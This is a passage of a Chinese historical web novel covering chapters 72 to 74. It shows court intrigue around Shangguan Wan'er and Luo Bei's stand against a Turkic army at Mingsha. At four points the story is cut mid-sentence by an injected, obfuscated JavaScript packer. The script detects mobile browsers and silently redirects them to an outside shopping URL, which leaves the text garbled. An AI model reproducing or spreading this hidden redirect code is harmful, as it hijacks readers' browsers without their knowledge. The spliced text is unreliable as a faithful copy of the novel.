她望着褚沅一脸不解的神色,忍不住笑了一声:“说些高兴的事情吧,听说你之前见了太子詹事裴伷先。他和从前兵部的那个洛北关系不错吧?” 这是在试探褚沅为何和宫外的人联络。褚沅不紧不慢,不慌不忙地回答:“是,裴伷先是洛北的朋友,也是位西域的商人。马上要到皇后娘娘的生辰,奴婢找他筹措些贺礼。” “是么?”上官婉儿的一双美眸立刻望了过来。 “也找他问了问洛公子的消息。”褚沅佯作不好意思地别过脸去,她知道作为她的血亲,洛北并不喜欢自己被扯到这些儿女情长的事情里去。 但她一个宫女要见外臣,既不能是无端打听朝堂大事,也不能是干预朝政,那除了这一点小儿女的情思,她还有什么理由能名正言顺地和外人交谈? 上官婉儿见她神情,脸上不由得浮现出一抹笑意。她曾经在见过洛北在马球场上打马球,他身材修长,身形飘逸,容貌俊美昳丽,简直把在场的一堆王公贵胄都比了下去: “这在我这里不是什么大事,不用这样扭扭捏捏。你后来去了洛阳,他外放去了鸣沙县,想来有一年左右没有再见了。你挂心他,也是常理。”她上官婉儿在褚沅的年纪时,又何尝没有为远行的人挂心过呢? 褚沅点了点头,还是不敢继续说话。 上官婉儿只得把神情放得更温软些:“日后,边塞军务的奏折和诰命,你同我一道处理吧。圣上说过,这个人不懂朝务,但对边塞之事,倒是有些见地。很应该在边塞历练历练。” 褚沅颔首,脸上露出惊喜神色:“谢昭容。” “叫我声姑姑吧。”上官婉儿道。 “是,姑姑。”褚沅低声应了,又轻声道:“奴婢有句话,不知当讲不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281693|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当讲。” “话都说到这里了,还有什么当讲不当讲的。说吧,说吧,今晚说完,日后就不要再对其他人说了。”上官婉儿笑意盈盈,以为褚沅要对她说些小儿女的心思。 “按着如今的朝局,朝廷动荡在即,昭容应当早做打算才是。”褚沅温声道。 上官婉儿的笑容一下子就收敛了:“你这话是什么意思?” “在上阳宫时,女皇清醒的时候,也痛骂过武家子弟的不争气。她费尽心机,想要武家在军队之中占据一席之地,但每一次出去打仗,他们都是大败而归。不仅给自己丢了脸,也让武家在军队中失了民心。”褚沅轻声道: “如今武三思权势滔天不假,可.......他依旧没有能够掌控军队。李唐宗室和大臣们或许会因为女皇是李唐的媳妇和母亲容忍她,可不会因为武三思是女皇的外戚就容忍武三思。再这样下去,长安城中的流血又将会开始。昭容自己要早做打算才是。” 上官婉儿深深叹了口气,她知道褚沅在向她暗示一番何等可怕的场景: 长安城的禁军再次被人调动起来杀向宫禁,他们高喊着杀乱党,除君侧的口号。目标名单上有武三思,有宋之问,有周利贞——还有她,上官婉儿:“不,我只是奉命写诏,难道他们要我抗旨吗?.......” “姑姑不要忘了,当年张柬之等人在的时候,想要弹劾武三思。奏疏竟无一个人敢写。后来是中书舍人岑羲挺身而出。岑羲提笔写出之后,满朝文武也没有一个人敢当堂宣读,还是中书舍人毕构担当大义,出列宣读。可后来武三思当权,将这两人都贬官外放。” 褚沅顿了顿,又看向上官婉儿,她应当很清楚地记得这件事情——因为当时驳斥岑羲奏疏的诏书,正是眼前这位上官昭容亲笔撰写:“姑姑......前事不忘,后事之师啊。” 上官婉儿深深地叹了口气,什么都没有说下去,只望着湖面,静静沉思,直到褚沅以为她不再会开口讲话的时候,她才喃喃地道:“再过几日,过几日我去拜访太平公主殿下。我有些事情,可以和她说说。” 褚沅点了点头,上官婉儿和太平公主是幼年相交,自李显登基之后才有了些嫌隙,只要及时弥补,再加上利益一致,她们总能重修旧好。这对李唐派来说,会是件大大的好事。 “你同我一道去吧。”上官婉儿道,“公主殿下,或许也想听听女皇的事情。” 褚沅低头应了。湖上风微微地吹动她鬓边的银雪柳,轻轻地飘摇着。 “起风了,咱们回去吧。”上官婉儿紧了紧披风,率先迈步往宫中走去。 她们走到回廊之上,外头忽而一阵兵荒马乱,上官婉儿紧了紧衣裳,带着褚沅赶到正堂,一个下人低着头,说要请德静郡王回府议事。 “大半夜的,出了什么事?”上官婉儿问。 “灵州八百内送来的急递,突厥大军寇边,已到了鸣沙!” 72. 第 72 章 鸣沙前线,天沉地暗,黑云压城。早到的冬风凛冽,片片如刀割向赤水军军士的面颊,天色要变了,不知是下雨还是下雪。 远处的突厥营帐也如黑云一般,密密麻麻地堆在鸣沙河对岸的天边,狼头纛随风飘扬,象征着突厥大汗默啜带着大军亲临此地。 李贞在一片压人的气氛里走出议事的中军大帐,经过哥舒亶的指点,在后军找到了洛北: “洛公子好会躲懒,大敌当前,你不在中军帐里参赞军事,怎么到这里来了?” 洛北正盯着那伙头搅动草药的手,闻言抬起头来望了他一眼:“慎交兄,按照朝廷的规制,参赞军事,似乎轮不到我这个七品县令来说话。” 他说完,又低声指点那伙头军,过三刻把一边的一袋子止血草药倒进去,才示意李贞同自己一道离开人群,到空旷的地方去谈话。 大战来临,鸣沙城外早已坚壁清野,城中百姓的老弱也被疏散到了其他地方,只有青壮年往来城中,搬运着大军需要的物资粮草。洛北与他们点头致意,与李贞一道登上了鸣沙城头。 “我听说你在八月就催着百姓赶收稻谷,又赶在九月修缮城墙,凿挖工事。现在想推脱责任,恐怕晚了点吧。”李贞玩笑了一句,“说真的,你是怎么知道的?” 冬风吹拂起城楼上的“唐”字大旗,洛北顺手抓住旗帜的一角,侧望着头,看着这面猩红的旗帜:“因为风。” “风?”饶是李贞已经习惯了洛北的深沉内敛,这时也不免有些诧异,“和风有什么关系?” “今年的西北风比往年来得更早。所以今年的冬天也会比往年来得更早更冷。”洛北放手松开了旗角,转过身来望着李贞:“遇到这样的冬天,草原上的牧民们只有向南走才能有活命的可能。” 李贞一时默默,没有说话。 洛北接着道:“至于参赞军事,我看也没有这个必要。赤水军有三万余人,其中有一半都是骑兵,再加上你从灵州带来的兵马。只要指挥有方,防御突厥本就不成问题,根本不需要我出谋划策。” 李贞见他若有所思,知道他想得远比这深远:“可我和你相交日久,还是第一次见到你这样心神不定,为什么?” 洛北苦笑了一声,他在默啜身边多年,从未被人窥得半分心绪,结果如今竟忧心忡忡到在李贞面前露了相:“我担心的只有一个,沙吒忠义。” 李贞一惊,他现在终于明白为什么洛北把他叫到城楼上来说话了:“你担心沙吒忠义会临阵潜逃?” “要是会临阵潜逃,他就不是沙吒忠义了。”洛北叹了口气,“沙吒忠义为人骄傲,这点血气还是有的。我担心的是一旦陷入苦战,他会不败而逃。” “陷入苦战?你不是说,我们如今的兵力防御突厥不成问题吗?既然如此,此战又何苦之有?”李贞好奇道。 洛北走向城楼,远远望着突厥大营中升起的狼头纛:“慎交兄,你们帐中议事的时候,可知道默啜会派谁做先锋了?” 李贞摸了摸下巴上的短须:“我们都觉得是他的儿子拓西可汗或者同俄特勤。” “你们太不了解默啜了。”洛北笑了一声,“他虽然偏爱儿子,但脑子还算清楚。这种情况下,他的手中只有一个人可堪大任。” “谁?” “突厥第一勇士,阙特勤。” 一轮惨淡的上弦月,挂在鸣沙城的上空,很快又被黑云所掩盖。深沉的夜色之中,阙特勤一身黑甲,身骑灰马冲在最前。他身后一众精锐骑兵,各个坐骑衔枚裹蹄,趁着夜色,摸过枯水期的鸣沙河,一路暗渡而来。 阙特勤勒马停在岸上,眼见赤水军营,明火执仗,阵列整齐,伸手一挥,身后骑兵齐齐地放出箭矢,一时之间箭矢如雨,惊醒了沙吒忠义一干人的美梦。 沙吒忠义是百战之将,见状哪里还不明白是有人劫营?他披甲上马,命旗官挥舞大旗发号施令,战鼓鸣响,旗语声声,唤醒了久经训练的赤水军士兵的心神。他们从慌乱之中镇静下来,按照平时演练的阵型扎在一起。 圆盾手迅速顶在第一排,隔开了漫天箭雨。弓弩手集结在后,向突厥人骑兵到来的方向放出箭矢。 弓弩连射,速度极快,阙特勤也不禁低头躲避,如雨的箭矢扎在他的盔甲上,发出啪嗒声响,就歪到一边。他催马前赶,马儿伸蹄,踢飞两个圆盾的士兵,跃进了弓弩阵中。 那些持弓弩的士兵没想到他来得这样快,一个愣神,已经被他手中的长枪取了性命。在阙特勤身后,潮水一般的突厥士兵正涌上河岸,杀入了营中。 两军相接,已经杀了个天地变色,便是天际破晓,也没有能减弱这惨烈一分。阙特勤浑身是血,□□的骏马已经换了第二匹,依旧不知疲倦地兀自向前冲杀。沙吒忠义几次勉强收束住阵型,都被他带人冲得七零八落,首尾不能相顾。 天光大亮,河滩之上已不知新添了多少亡魂。沙吒忠义搏杀半夜,早已是精疲力尽,战鼓再如何敲击,也没有了夜半鼓舞人心的作用。 哥舒亶带兵冲到他马前:“大帅!大帅!下令后撤吧!再这样缠斗下去,将士们会崩溃的!” “好,鸣金撤兵,撤到鸣沙城中去!”沙吒忠义挥舞手中兵器,示意传令官鸣金。 但便是这么一挥手,阙特勤抓住了他的所在,抬头直身在马背上,向他的身影射出一箭——羽箭略高了一寸,射落了沙吒忠义的头盔。 头盔摔在地上,沙吒忠义再也顾不上什么鸣金不鸣金的事情,他高喊着哥舒亶的名字,叫他派人去寻刺客。 哥舒亶领命,带着身边十几个本部的青年向阙特勤的方向寻去。 阙特勤虽然勇武,却不蠢,见来人气势汹汹,便横枪扫开前排一片人影,独自引着哥舒亶的兵力向阵外而去。他所带的骑兵却依旧向沙吒忠义逼近。 眼看这些凶恶的突厥骑兵就要收紧包围,身边的骑士一个个倒下,哥舒亶却再也不见了踪影。沙吒忠义心下大骇,他仓皇调转马头,高喊:“护着我,我们撤军!” 他这声音只在周围两三人中起了效用。传令官鸣了一声金,一只羽箭,正中他的太阳穴上——阙特勤不知何时已在乱军之中摆脱了哥舒亶那些人,回到阵中。 传令官的尸首倒了下去,阙特勤又追在身后。沙吒忠义再也顾不上别人了,他一催马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281694|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臀,飞快地向灵州城的方向逃去。他身边几个百济族的近卫也丢下旗帜,追着自己主人而去。 他这一走,唐军阵容顿时大乱。主帅消失,旗帜坠地,已是大败之相,偏还不知是谁,在阵中高喊了几声:“沙吒将军逃走了!” “沙吒忠义逃走了!” 这声音从一声两声,逐渐连绵成片,听得犹在搏杀的大唐将士满心绝望。李贞听得此声,不禁回头望去,象征主帅的沙吒大旗已经不见踪影——唯有几面唐旗孤零零地飘着。 “该死!”他忍不住破口大骂,又横□□死两个来袭的突厥人:“来人,来人!去鸣沙城中给洛北报信!就说沙吒忠义已逃,让他想想办法!” 他身边的副官也是一脸绝望:“刺史大人!沙吒忠义弃军而逃,军心已散,马上军队就会四散奔逃,便是告诉了洛明府,他能有什么办法?!” 是啊,洛北能有什么办法?他一个手中无兵的七品县令,能管好后勤,安顿百姓,便已是功德圆满——如今这样的局面,他又能有什么办法? 李贞咬了咬牙:“你只管把消息送到!告诉他,整个鸣沙——不,整个灵州的担子都压在他的肩上了!” 听到此话的时候,洛北英俊的脸上依旧是一片平静,他轻轻呼了口气,对传令官道:“你现在回去禀报你家刺史,就让他下令鸣金收兵。” 传令官大为诧异:“洛公子,不能收兵啊,这个时候如果让士兵们撤退,后头突厥人的追兵一追,他们就会变成溃兵!我们就都成了突厥人的刀下鬼了。” “你家刺史只管鸣金收兵。怎么挡住突厥人,是我的事——”洛北紧了紧袖口上的护腕,将头盔戴正,腰间唐刀直刃出鞘,光华耀眼,几乎能刺破天际:“兄弟们,跟我冲!” “杀啊——”他身后二十八骑高声呼喝。 鸣沙城门大开,放这二十八骑卷尘出阵,片刻功夫,已到唐军阵后。 洛北勒马止步,对着身后一众骑士高声道:“兄弟们,按照计划行事,分为四队!穿插入突厥阵中!”他将刀收进腰间,反手摸出了一支响箭,压在弓弦上: “你我——突厥阵中相会!” 响箭发出一道尖锐鸣叫,如流星一般坠入突厥阵中。二十八骑便如风卷残云一般,向突厥阵中冲去。 他们久经训练,休息一夜,力气正足,箭雨如浪,涌向苦战已久的突厥人。几乎每一支羽箭都有人命丧其中。 “哪来的援军?!”阙特勤高声喊道,他明明算过,唐军可动用的兵力都在这河滩之上,这些骑兵是从哪里冒出来的?有多少人?训练如何?他难得陷入这种一无所知的狂躁之中,心中不合时宜地想起他的旧友,如果——如果乌特特勤尚在,他绝不会如此被动。 “不知道,伯克。”他的副官答他,“但这些人训练有素,战马和盔甲都很精良,说不定——是唐人的禁军!” 阙特勤伸手给了他一下:“胡说什么?!”心里却不禁更加着急了,经过一夜混战,再骁勇的突厥勇士也快到了强弩之末,他本想彻底冲垮唐军阵型,让对方任自己宰割,但如今有了这些人来搅局,他自己的军心,也要散了! 73. 第 73 章 洛北同这二十八骑在突厥阵中来去如风,纵横穿梭,将突厥军队搅得是眼花缭乱,再也无暇顾及前面的唐军。 李贞眼看着洛北率军左冲右突,所到之处,突厥武士都是成片倒下,心下欣喜异常,握着兵器的手不禁又充满了力气,正要下令军队整顿再战,却见传令官气喘吁吁地赶了过来:“刺史大人,刺史大人!洛公子说,叫我们鸣金收兵。” “好!”李贞心下遗憾,却高声喊道:“鸣金,收兵!我们撤到鸣沙城中去!你命人督军,不可叫他们乱了阵型!” “是!”传令官领命而去,不一会儿,唐军的旗帜逐步向后撤去,隐没在了鸣沙城中。 放跑了赤水军残余的主力,阙特勤也不想和眼前这些骑兵缠斗,当即下令退兵,回鸣沙河畔驻扎。 洛北也不和他纠缠,向天放出一只响箭,箭声呼哨,正是撤退的命令。待到二十八人一人不少地退到他身后,洛北英俊的面容上才露出自此战开始以来的第一个真诚笑容:“兄弟们没事就好。带上能用的马匹和东西,我们走!” 他率队退回鸣沙城中,鸣沙城的大街上随处可见躺在地上的士兵,这一夜的搏杀着实让他们精疲力尽,也不知道有多少人这一倒下去就看不见明天的太阳。 “兄弟们,能走的都走起来,能站的都站起来!我们洛明府给大家伙安排了屋子住,都起来!起不来的互相扶持一把!来,兄弟,我扶你一把。” 许平带着一班衙役,推着板车,正在四处走街串巷搜寻伤兵,他见到一个有了些年纪的士兵伤了一条腿,正躺在地上哀嚎,忙蹲身把他扶到板车上:“走,我们明府在城东设了安置所,到那儿就有饭吃,有郎中!听我的,跟我走!” 士兵们宛如行尸走肉一般,跟在他身后向城东慢慢地走去。洛北摇了摇头,知道这些人现在已经丧失了战斗意志,莫说打仗,再多跑几步都会倒下。 可接下来还有一场硬仗要打,洛北微微皱眉,大步来到了县衙门口。几个士兵正在哨岗,见他拱手拜了拜:“洛明府,哥舒将军和李刺史在衙中议事,还请明府留步。” 洛北瞟了他一眼,双手傲然背在身后:“此地是我鸣沙县衙。我要进去,恐怕不是你一个小校可以挡住的。” 那小校平日在灵州城中见多了地方县令,却极少见到洛北这样不好惹的人物。他正要说些什么,洛北已经推开他,大步流星地朝正堂走去了。 “哎,你要做什么?!”小校跟在他身后一路追进正堂。哥舒亶恰好迎面走了过来,他开口正要告状,却见哥舒亶躬身下拜: “洛公子.....我惭愧啊。” 哥舒亶一脸恭敬,倒把个小校吓得半死。那小校后退几步,退出县衙大门,心里暗道:“这个洛北,到底是什么来路,竟让赤水军兵马使都对他如此恭敬......看来以后对他的事,要小心些才是。” 洛北全然不知道他这番内心活动,见哥舒亶一脸羞愧,知道他必是在阙特勤手上吃了亏,忙扶了他一把:“怎么了?” “我有罪,若不是我托大非要去追阙特勤,不会把沙吒将军独自落在战阵之中......或许事情不会到这般田地。”他说着几欲垂泪,“我的弟兄们死的死,伤的伤,只有八个人跟着我回来了......是我这个当主公的害死了他们。” 洛北深深叹了口气,哥舒亶所说的弟兄自然是他的族人——这些人不仅是哥舒亶的属下,也是他的族亲。他们跟着哥舒亶从河西到赤水军,可谓是忠心耿耿。如今伤亡惨重,怪不得哥舒亶失态至此。 “哥舒亶。”洛北扶了他一把,温声安慰他道,“我知道你的心情,只是如今战事尚未结束。沙吒忠义逃走,赤水军副使战死——如今赤水军中,唯有你职务最高,有素有声望,你要把这副重任挑起来。” 哥舒亶擦了擦眼泪,深深吸了口气:“是,洛公子。” 洛北拍了拍他的肩,和他一道走到后院。李贞正眉头紧皱地对着一幅地图,见他来了,才露出一脸苦笑:“我真不知是不是该夸你洛公子料事如神.......真是一场惨败啊。若不是你出手及时,我们这些人都成了突厥人的刀下鬼了。” “慎交兄。”事情到了这个地步,洛北也不和李贞客套了,“现在我们还有多少兵马?” “目前县中收拢了一万余人。但大部分人都负了伤。要是把受了轻伤的人都算上,大概还有五千人可用。但这些人是步兵居多.......就算有骑兵,他们的马在撤退时丢的丢,伤的伤,也没有几匹可用了。”李贞揉了揉眼睛,“这正是我焦虑的地方。如今我们兵力不济,突厥人士气正盛,恐怕我们很快就会变成困兽之斗。” 哥舒亶犹豫道:“若是守城,倒是也用不上骑兵。”他转向洛北,“不知道城中可有檑木炮石?” 檑木炮石都是守城的器械,其实就是较大的圆木和石头,守城方居高临下,可以靠这些器具攻击敌方。哥舒亶问及此事,显然是起了固守的心思。 洛北点了点头,从书斋中取出一卷账簿,铺平在地图上:“檑木炮石、弓箭、衣物和粮草,鸣沙都已备齐。从账簿上看,我们固守个把月等待援军是没有问题的。可问题在于.......突厥人能让我们守住这么久吗?我们自己人肯坚守这么久吗?” 李贞叹了口气:“我知道你的意思。我也担心会出现哗变。” 城外是黑压压望不到头的突厥大军,城内是主将逃窜、军心溃散的赤水军和灵州军。这些人要分拨守城,要与敌军在城墙上血肉相搏,要防止奸细作乱,要监控地听,防止敌人挖地道突袭——这样的高压下,恐惧会日日蔓延,到了最后,难保这些士兵不会想拿着他们这些主将的脑袋换个解脱。 “不错。”洛北叹了口气:“守城可是个苦差事。赤水军自创建以来,便是胡汉夹杂,以精锐骑兵为主。我不说他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281695|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会守城,他们能不能吃得了这个苦就是未定之数。” 李贞定定地望着他,洛北说这句话的样子让他想起在吐谷浑城中时那个晦暗混乱的夜晚:“洛北,你要有什么想法,不妨直说。” 洛北走到地图前,点了点鸣沙城外的鸣沙山:“奇袭!” 哥舒亶心思一动:“不错,正面与突厥大军缠斗时,若有一支精锐骑兵绕道鸣沙山,自侧面闯入突厥阵中,我们就可以前后夹击,打他们一个措手不及!” 李贞的心思却沉了下去:“绕道鸣沙山,确实是个好主意。但洛公子你是不是忘了,鸣沙山之所以有这个名字,便是因为人马上山时皆有声响......从那个地方奇袭,怕是不太行吧。” 洛北惨然一笑:“那就要看天命是不是站在你我这边了。”他转身打开正堂大门,一股大风灌了进来,把屋内地图和账簿吹得呼呼作响。李贞按住了飞起的账簿:“天命?” “不错。”洛北站在这股风中望着昏黄黑暗的天际,“我在鸣沙见过这样的东南风,吹起这样的风之后的数日往往会有雷电和大雨。倘若天命真的在我大唐,就给我们一场雷雨吧!” 仿佛在为他的话作注脚,风吹得洛北的袍服飞舞,猎猎作响。他伸手握紧了腰间的唐刀刀柄,满怀希望地望着远方的天际,神情庄严而肃穆,像一位等待神谕的大祭司。 哥舒亶为他的豪情所激,忍不住站到他身后:“洛公子!我信你,请你允许我回赤水军召集兵马,选出精锐骑兵与你并肩作战!” 洛北忍不住回头望了哥舒亶一眼。现在,哥舒亶是赤水军目前职位最高的,他要征召军队,压根不用和洛北请示。但哥舒亶如此恭敬地来到他的面前,显然把他当成了此地主将,他也不打算推拒:“好。我只要两百人。人数贵精不贵多。” 哥舒亶点了点头,拱手而去。 “洛北。”李贞叫了一声洛北的名字,也缓步走到他身后。 洛北已转过身来,垂手等着他开口训话——理论上,李贞才是在场职位最高的人,理应领导军队,统筹局面。洛北和哥舒亶却在这里自行其是,简直没有把他这位灵州刺史放在眼里。 “刺史大人。”洛北拱手道礼。 “上午我和你说,我把整个灵州的担子压在你身上,其实,我说少了。” 李贞轻声道,似乎在自言自语,也似乎在对洛北说话: “突厥大举而来,盯上的不止是一个灵州,还有附近的原州、会州......这些地方,都是大唐的西北要冲,屯田数十万,战马数十万,倘若都落在默啜的手中,此后我们会被突厥人压得不得喘息——” 洛北没想到他会这样表态,神情一动,正与李贞目光交汇。他和李贞出身不同,经历不同,性格自然也不同,可经过吐谷浑那一番拼杀,如今共面大敌,竟有了一种难以割舍的友谊: “慎交兄放心!我必不辱使命!” 74. 第 74 章 这日正午,象征突厥大汗的狼头纛已在城外不远处高高升起。之后的数日之间,负责日夜巡逻的士兵们时常能收到突厥人射上城楼的冷箭。 洛北和哥舒亶一道去探过敌人的营帐,只见营帐连绵,少说有数万之众,他们两人对视一眼,都在对方眼中看到了一点惊讶。 “默啜究竟想干什么?打草谷用得着这样大举出击吗?”哥舒亶喃喃自语。 洛北轻轻一笑:“要是我没猜错,他应该想逼我们废弃鸣沙。” “废弃鸣沙?”哥舒亶念了一遍,才反应过来洛北的话,“你的意思是……默啜希望拔掉鸣沙这颗黄河北岸的钉子?” “不错。”洛北举目望去,四周还有突厥人的骑队不断向鸣沙集结,奈何天空艳阳高照,微风阵阵,不见一点落雨的迹象:“我们没有多少时间了……要是不能一举把默啜的亲军击溃,就会陷入突厥人的重重包围之中。” “但雷雨还没有来。”哥舒亶深深叹了口气。 “是啊……可惜雷雨还没有来。”洛北道。 城中在李贞的组织之下已经恢复了秩序,军士日夜巡逻,炊烟按时升起又熄灭……但一种奇异的焦躁不安日渐席卷全城,仿佛他们已被困死在城中,明日这城便会告破。 这样一种焦躁的范围中,连洛北也不免受到了影响。他自少年时颠沛流离,于生死边缘挣扎数次,已经是见惯了大风大浪,但每每望向晴空,还是难免轻轻呼出一口气。 突厥人在等大军集合完毕,而他在等一场雷雨。 天命……是否能站在我的这边? 又是一个一无所获的夜晚,他听着城楼上的士兵与下方突厥人的叫骂合衣倒在自己的卧榻上,刚刚合上眼睛没多久,一道白光闪过眼前。 他睁大眼睛,跳出帐外,轰隆隆的雷声在夜色之中弥漫开来。 “哥舒亶!哥舒亶!”他提高调门喊哥舒亶的名字,“叫你的人集合!雷雨来了!雷雨来了!” 哥舒亶自赤水军中招募来二百多号血性汉子站在高台之下。高台之上,洛北一身黑色袍服,迎风而立,他望着台下那些人的眼睛——那是一双双渴望复仇的眼睛。 “兄弟们。”他反而以温和沉缓的语调开了头:“听闻你们都是自愿到此。我敬佩你们的选择,因为……这是一条死路。” 台下无数人的眼睛都瞪大了,只有一小半人泰然自若。 第一滴雨水,落在了洛北的肩上。 “外面是突厥最精锐的数万大军,由突厥大汗默啜亲自统帅。打头阵的先锋叫阙特勤,素有突厥第一勇士之称。”洛北极平静地道出敌军主帅的来历,“我们要去做的,便是趁着雷雨,像一柄利剑般绕道鸣沙山,从后方插入敌人的心脏。此行凶险,可想而知。” 雨水逐渐下了下来,发出噼里啪啦的声响。 人群中不少燃着的复仇之火一下子低沉了下去。洛北把这一切收入眼底,提高了调门,高声喊道:“所以,家中独子的兄弟,出列!” 几个人犹豫了一阵,跑到了班列之前,叉手向洛北道礼。 洛北也不看他们,继续望着剩下的人,高声喊道:“目前仍然负伤的,出列!” 又是一阵稀稀拉拉的脚步声,这下班列前站了十来个人,大家你望望我,我望望你,全然不知洛北的葫芦里卖的什么药。 “现在,放下你们的武器,回到军中去……今日之事就当没发生过,不会有人追究你们的责任。”洛北声音温沉如水,面上是一贯的平静神色:“还有!任何想要离开的人,现在可以出列了——” 底下的人群响起一阵阵窃窃私语:有人说“此行凶险。”有人说:“我看他这个计划是痴心妄想。”还有人说:“走吧,走吧,守城的队伍是分别上城头,说不定留在城里能留条命呢?” 人群逐渐骚动起来,队列前站的人越来越多,哥舒亶几度想要开口,都被洛北以一个眼神镇压下去。 直到——有人在人群中高喊: “洛明府!我不走!敌人再凶狠,情况再凶险又如何?!我家人就在原州,为了家人,我绝不逃走!!” 第二个人高喊:“我家里还有兄弟两个,少我一个不少!我要留下来!” 然后是第三个、第四个、第五个……“我的儿子已随百姓转移去了其他地方,我要与突厥人决一死战——” “好!”洛北高声喝了一句,打断了台下的窃窃私语,“留下来的兄弟,按队列列队!上马!此计九死一生,我带你们,杀出一条血路来!!” 他把自己的手下分为七个小组,每四人带一个三十人的队伍,命他们在行进之中梭巡。趁着夜幕和大雨的掩护,悄然无声地离开了鸣沙城。 大雨浇在沙山上,沙子挤作一堆,人一踩上去,就发出吱呀吱呀的声响。 洛北和一众骑兵身着铠甲,踩着这样深一脚浅一脚的沙子路,像一个幽灵般前往敌人的后方。 山下的突厥大帐中,灯火通明,默啜正与他的子侄们商量下一步的作战计划。 “鸣沙这个县城,芝麻大小的地方,经过这么几番治理,也成了屯田要地,成了我的心腹大患了。”他拿着酒杯,把鹰一样的目光在子侄们脸上一一看过,“我们这次就是要烧了他们的城市!推倒他们的河堤!毁掉他们的农田和水渠!让这些唐人在我们突厥人的马蹄下颤抖吧!” 拓西可汗阿史那匍俱最先举杯相祝:“突厥万岁!大汗万岁!” “万岁!”帐中所有人都高声应和,默啜又拿着酒杯,倒了一杯酒递到拓西可汗面前,“明日作战,你打主攻,记住,第一个登上鸣沙城墙的人,赏百金!” 拓西可汗面露惊喜神色,他一直在军事上无所建树,故而各种征战,默啜都倚重阙特勤兄弟,今日却难得把主攻的位置留给了自己:“是!父汗!” 酒宴散去,已到半夜。阙特勤的哥哥默矩看出自己弟弟一脸沉思,不由得追着他进了帐中:“阙特勤?你怎么了?是不是大汗夺了你的主攻位置,你不高兴?” 阙特勤抬起头,见他脸上真诚的关心神色,笑了笑:“哥哥,我不是这个意思。我又不是第一天知道大汗偏爱拓西可汗。我只是觉得……这个鸣沙,恐怕没那么容易拿下来。” 他话音未落,外头闪过一道刺目白光,几个亲兵冲进帐中,正要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281696|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禀报敌情,却听见雷声隆隆,顿时住了口:“伯……伯克,外头下雨了。” “雷雨天,也值得你们这样大惊小怪。派两个人去看护马匹,别让它们吓着了。”默矩几句把这些亲兵打发出去,才问阙特勤:“为什么这么说?赤水军主将沙吒忠义逃跑,灵州刺史李贞虽然是禁军出身,可从未打过仗。你不会担心他们吧?” 阙特勤摇了摇头:“那两个人还不算我的对手,我只是有些担心。哥哥,且去休息吧,别忘了,明天你我要在左翼负责掩护拓西可汗。” 默矩哼了一声,一言不发地退出了阙特勤的营帐。他是后突厥汗国开国之君阿史那骨笃禄的长子,本可继承汗位。默啜以功勋抢了他的位置也就罢了,毕竟他那时年幼。但一个拓西可汗也在他面前造次,让他很没面子。 他带着一股郁郁不平陷入沉静的睡梦之中,帐外是瓢泼大雨和时不时响起的雷电。不知睡了多久,外面此起彼伏的声音把他从睡梦里喊了出来: “有敌人!” 借着雷雨的掩护,洛北和身后那两百人没花多少功夫就绕到了突厥大营的后方。自沙吒忠义逃跑后,突厥人自信过了头,他们在前方和两翼排布了种种精锐骑兵,却只留下一些步兵在后方。 洛北向天中放出一只特殊制成的烟花,金红颜色在天空中一闪而过。不一会儿,鸣沙城那边也放出一只同样的烟花。 这是象征着李贞和哥舒亶已知道他们绕到了约定地点。 大雨浇灌之下,洛北拔剑出鞘,陨铁宝刀在夜色中挥出一道纵横刀气,几乎可以将这夜幕撕碎: “兄弟们!”他高声喊道,“成败在此一举,杀啊!” “杀啊——”二百人齐声应和,声音响彻云霄。 留守在后方的突厥步兵完全没有想到会有人突然袭击。洛北率队,不费多少力气就突入突厥军阵中央,他手上羽箭不停,向每一个朝他奔来的突厥骑兵射去。 鸣沙城上,战鼓如雷。李贞顶着大雨,亲自在城头击鼓,为将士们壮胆助威。哥舒亶率兵出城,高喊一声:“杀啊!”就杀进了突厥人的营地之中。 突厥骑兵不少仍在睡梦之中,就这样平白地丢了性命。醒过来的人中也有不少到处寻找自己的马匹,他们如无头苍蝇一般到处乱窜,无处躲藏,很快就被唐人的羽箭射中,倒在了地上。 